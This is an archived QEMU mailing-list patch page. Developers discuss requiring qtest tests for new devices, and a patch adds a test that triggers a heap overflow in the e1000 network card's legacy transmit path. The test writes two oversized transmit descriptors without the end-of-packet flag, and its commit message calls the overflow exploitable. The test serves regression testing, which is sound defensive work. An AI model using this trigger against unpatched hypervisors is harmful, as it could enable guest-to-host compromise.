diff mbox

[7/7,v5] VMXNET3 paravirtualized device implementation Interface type "vmxnet3" added.

Message ID 4F8C82CF.1090008@codemonkey.ws
State New
Headers show

Commit Message

Anthony Liguori April 16, 2012, 8:36 p.m. UTC 
On 04/16/2012 03:14 PM, Paolo Bonzini wrote:
>> The bits I'm more interested about is edge case testing (things that
>> could pose a security concern).  Since WHQL interfaces at the expected
>> paths for the driver, it's unlikely that it can test any of this.
>
> It does include fuzz tests.
>
>>>> But VMXNET3 isn't really special here.  From this point forward, I
>>>> would expect all new devices to come with a qtest-based test case.
>>>
>>> I find this to be hard to justify.
>>>
>>> With a grand total of 1 device tested, and with a coverage of almost
>>> zero even for that device, I think it's only sane to consider qtest
>>> a proof of concept.
>>
>> How else are we going to get there other than asking people to use it?
>
> I agree.  But I'm saying it's too early even for that.

This is basically what I'm looking for.  I haven't submitted this yet simply to 
allow folks time to update.

I don't think it's too early for this level of testing.

Regards,

Anthony Liguori

>
>> Look, it's pretty darn simple to add a basic test for vmxnet3 to qtest
>> that initializes the device.  I don't see what the big deal is asking for
>> that.
>
> For that, qemu-test is enough.  Just boot into a Linux system that has
> the driver.
>
>> It doesn't need to start as an exhaustive test but I think there's
>> tremendous value in at least having something to start with.  Otherwise,
>> we'll continue to exist in the same chicken and the egg state.
>
> Yes, that's a risk.  I guess you were aware of that though.
>
> I've long planned to contact again my academic friends, ask for a
> bachelor student or two and have them work on QEMU.  qtest would be
> perfect for that (libos and a decent block layer mock would be two
> nice projects).  However, mentoring can be time consuming, and right
> now I'm not really able to set aside time for that.
>
> Paolo
>
diff mbox

Patch

>From 30d8ef0c6b17af4d88e8788f5e680a4c4355397f Mon Sep 17 00:00:00 2001
From: Anthony Liguori <aliguori@us.ibm.com>
Date: Wed, 4 Jan 2012 14:46:53 -0600
Subject: qtest: add test to demonstrate e1000 legacy mode overflow

There isn't proper checking in legacy mode packets such that if two large
packets arrive back to back without the EOP flag set in the first packet, you
can easily overrun your buffer.

Because data is written to the packets after the packet is processed, this
could allow a heap overflow which is exploitable.

Reported-by: Nicolae Mogoreanu <mogo@google.com>
Signed-off-by: Anthony Liguori <aliguori@us.ibm.com>
---
 Makefile              |    1 +
 e1000-overflow-test.c |  104 +++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 105 insertions(+), 0 deletions(-)
 create mode 100644 e1000-overflow-test.c

diff --git a/Makefile b/Makefile
index 838cb01..99dc3eb 100644
--- a/Makefile
+++ b/Makefile
@@ -218,6 +218,7 @@  qemu-ga$(EXESUF): qemu-ga.o $(qga-obj-y) $(qapi-obj-y) $(tools-obj-y) $(qobject-
 libqtest.o: libqtest.c
 
 rtc-test$(EXESUF): rtc-test.o libqtest.o
+e1000-overflow-test$(EXESUF): e1000-overflow-test.o libqtest.o
 
 QEMULIBS=libhw32 libhw64 libuser libdis libdis-user
 
diff --git a/e1000-overflow-test.c b/e1000-overflow-test.c
new file mode 100644
index 0000000..83bb3f9
--- /dev/null
+++ b/e1000-overflow-test.c
@@ -0,0 +1,104 @@ 
+#include "libqtest.h"
+#include <glib.h>
+#include <stdio.h>
+#include <string.h>
+#include "hw/e1000_hw.h"
+#include "hw/pci_regs.h"
+
+static uint32_t pci_config_read(uint8_t bus, uint8_t devfn,
+                                uint8_t addr, int size)
+{
+    outl(0xcf8, (bus << 16) | (devfn << 8) | addr | (1u << 31));
+    if (size == 1) {
+        return inb(0xcfc);
+    } else if (size == 2) {
+        return inw(0xcfc);
+    }
+    return inl(0xcfc);
+}
+
+static void pci_config_write(uint8_t bus, uint8_t devfn,
+                             uint32_t addr, int size, uint32_t value)
+{
+    outl(0xcf8, (bus << 16) | (devfn << 8) | addr | (1u << 31));
+    if (size == 1) {
+        outb(0xcfc, value);
+    } else if (size == 2) {
+        outw(0xcfc, value);
+    } else {
+        outl(0xcfc, value);
+    }
+}
+
+
+static void stw(uint64_t addr, uint16_t value)
+{
+    memwrite(addr, &value, sizeof(value));
+}
+
+static void stl(uint64_t addr, uint32_t value)
+{
+    memwrite(addr, &value, sizeof(value));
+}
+
+static void e1000_probe(uint8_t bus, uint8_t devfn)
+{
+    uint32_t value = 0;
+    uint32_t bar0 = 0xe0000000;
+    uint32_t tx_addr = 4 << 20;
+    struct e1000_tx_desc desc[2] = {};
+
+    pci_config_write(bus, devfn, PCI_COMMAND, 2,
+                     (PCI_COMMAND_IO | PCI_COMMAND_MEMORY));
+
+    pci_config_write(bus, devfn, PCI_BASE_ADDRESS_0, 4, bar0);
+    bar0 = pci_config_read(bus, devfn, PCI_BASE_ADDRESS_0, 4);
+
+    desc[0].buffer_addr = tx_addr;
+    desc[0].lower.data = 0xffff;
+    desc[1].buffer_addr = tx_addr;
+    desc[1].lower.data = 0xffff;
+
+    memwrite(tx_addr, desc, sizeof(desc));
+
+    stl(bar0 + E1000_TDBAH, 0);
+    stl(bar0 + E1000_TDBAL, tx_addr);
+
+    stw(bar0 + E1000_TDLEN, 0x80);
+    stw(bar0 + E1000_TDH, 0);
+    stw(bar0 + E1000_TDT, 2);
+
+    value = E1000_TCTL_EN;
+    memwrite(bar0 + E1000_TCTL, &value, sizeof(value));
+}
+
+int main(int argc, char **argv)
+{
+    uint8_t slot = 0;
+
+    qtest_start("/tmp/server.sock");
+
+    for (slot = 0; slot < 32; slot++) {
+        uint8_t fn;
+
+        for (fn = 0; fn < 8; fn++) {
+            uint8_t devfn = (slot << 3) | fn;
+            uint16_t device_id;
+            uint16_t vendor_id;
+
+            vendor_id = pci_config_read(0, devfn, PCI_VENDOR_ID, 2);
+            device_id = pci_config_read(0, devfn, PCI_DEVICE_ID, 2);
+
+            if (vendor_id == 0xFFFF || device_id == 0xFFFF) {
+                break;
+            }
+
+            if (vendor_id == 0x8086 && device_id == 0x100e) {
+                e1000_probe(0, devfn);
+                return 0;
+            }
+        }
+    }
+
+    return 0;
+}
-- 
1.7.4.1